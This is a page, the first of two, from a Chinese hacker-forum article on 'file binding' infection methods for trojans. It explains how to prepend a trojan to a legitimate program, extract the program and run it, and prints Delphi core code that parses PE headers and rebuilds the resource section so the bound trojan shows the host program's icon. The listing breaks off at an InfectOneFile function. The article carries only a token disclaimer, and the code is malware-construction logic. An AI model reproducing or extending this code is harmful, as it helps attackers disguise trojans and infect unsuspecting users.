| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> 编程 >> 其它编程 >> 正文 用户登录 新用户注册
文件捆绑感染方式         ★★★ 【字体:
文件捆绑感染方式
作者:不详 文章来源:华盟收集 点击数: 更新时间:2008-9-6

  最近在研究病毒木马程序的感染和捆绑方式。

  发现文件困绑有多种方式 我只和大家探讨两种方式 一种是附加的方式,一种是内嵌式

  第一种方式 就是将木马程序附加在别的程序头部 也就是说 运行的目标程序是木马

  然后木马程序将原程序解压出来再运行 听说熊猫烧香的程序用的就是这种方法

  这种方式有缺点也有优点

  优点是:

  可以捆绑任何程序

  缺点是:

  运行时需要把目标程序给拷贝出来然后 然后再运行真正的程序 这种方法容易使人察觉出来被捆绑,并且如果目标程序大的话运行速度会比较慢

  实现方法:(Demo下载)

  如果不改变图标,实现方法是非常简单的。

  用文件流的方式 把目标程序写在木马程序后面

  这里提供修改图标的实现方法,就是替换目标程序里的所有资源,如果资源文件被压缩,捆绑将出错

  (目前网络上有很多获取图标的方法,比如用ExtractIcon获取目标程序中的图标 这种方法读取出来的图标

  和原程序的图标是有差别的。 就是颜色会浅一点, 让人一看就知道程序可能被捆绑过了)

  请勿用于病毒传播,这里只贴出核心代码

  【全文】

  function Align(Size, AlignBase: integer): Integer;

  begin

  if Size mod AlignBase <> 0 then

  Result := (Trunc(Size / AlignBase) + 1) * AlignBase

  else

  Result := Size;

  end;

  procedure GetRsrcStream(AFHandle: THandle; var AStream: PStream;var ASectionHeader: TImageSectionHeader);

  var

  I:integer;

  DosHeader: TImageDosHeader;

  NTHeader: TImageNtHeaders; {NtHeader}

  dRead: DWORD;

  begin

  SetFilePointer(AFHandle, 0, nil, FILE_BEGIN);

  ReadFile(AFHandle, DosHeader, SizeOf(TImageDosHeader), dRead, nil);

  //非PE 退出

  if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then Exit;

  SetFilePointer(AFHandle, DosHeader._lfanew, nil, FILE_BEGIN);

  ReadFile(AFHandle, NTHeader, SizeOf(TImageNTHeaders), dRead, nil);

  //非PE 退出

  if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;

  SetFilePointer(AFHandle, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);

  for i := 0 to NTHeader.FileHeader.NumberOfSections - 1 do

  begin

  ReadFile(AFHandle, ASectionHeader, SizeOf(TImageSectionHeader), dRead, nil);

  if ASectionHeader.VirtualAddress = NTHeader.OptionalHeader.DataDirectory[2].VirtualAddress then

  begin

  SetFilePointer(AFHandle, ASectionHeader.PointerToRawData, nil, FILE_BEGIN);

  SetLength(AStream, ASectionHeader.SizeOfRawData);

  ReadFile(AFHandle, AStream[0], ASectionHeader.SizeOfRawData, dRead, nil);

  Exit;

  end;

  end;

  end;

  function StripHighBit(L: Longint): DWORD;

  begin

  Result := L and $7FFFFFFF;

  end;

  function HighBitSet(L: Longint): Boolean;

  begin

  Result := (L and $80000000) <> 0;

  end;

  function IsDirectory(ResourceDirectoryEntryImageResourceDirectoryEntry; BaseEntry: DWORD): boolean;

  begin

  Result := HighBitSet(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +

  BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData);

  end;

  function ResourceDataEntry(ResourceDirectoryEntryImageResourceDirectoryEntry; BaseEntry: DWORD)ImageResourceDataEntry;

  begin

  Result := PImageResourceDataEntry(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +

  BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData + BaseEntry);

  end;

  function FixRsrc(ResourceDirectoryImageResourceDirectory; BaseEntry,OldVA, NewVA: DWORD):boolean;

  var

  I: Integer;

  ResourceDirectoryEntryImageResourceDirectoryEntry;

  Data: PImageResourceDataEntry;

  begin

  Result := True;

  ResourceDirectoryEntry := PImageResourceDirectoryEntry(DWORD(ResourceDirectory)

  + SizeOf(TImageResourceDirectory));

  for I := 0 to ResourceDirectory^.NumberOfIdEntries + ResourceDirectory^.NumberOfNamedEntries - 1 do

  begin

  if IsDirectory(ResourceDirectoryEntry, BaseEntry) then

  begin

  {目录递归调用,把下级的资源列出来}

  FixRsrc(PImageResourceDirectory(StripHighBit(

  ResourceDirectoryEntry^.OffsetToData)+ BaseEntry),

  BaseEntry, OldVA, NewVA);

  end

  else

  begin

  {资源}

  Data := ResourceDataEntry(ResourceDirectoryEntry, BaseEntry);

  //修正RVA

  Data^.OffsetToData := Data^.OffsetToData - OldVA + NewVA;

  end;

  inc(ResourceDirectoryEntry);

  end;

  end;

  function InfectOneFile(ASrcFileName,ADesFileName,ANewFileName: string): string;

  var

  F,F1,F2: THandle;

[1] [2] 下一页

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇编程:

  • 下一篇编程:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关编程
    delphi编程实现免杀捆绑
    捆绑执行文件新思维
    捆绑执行文件新思维
    用VC将多个文件捆绑成一个可执行
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号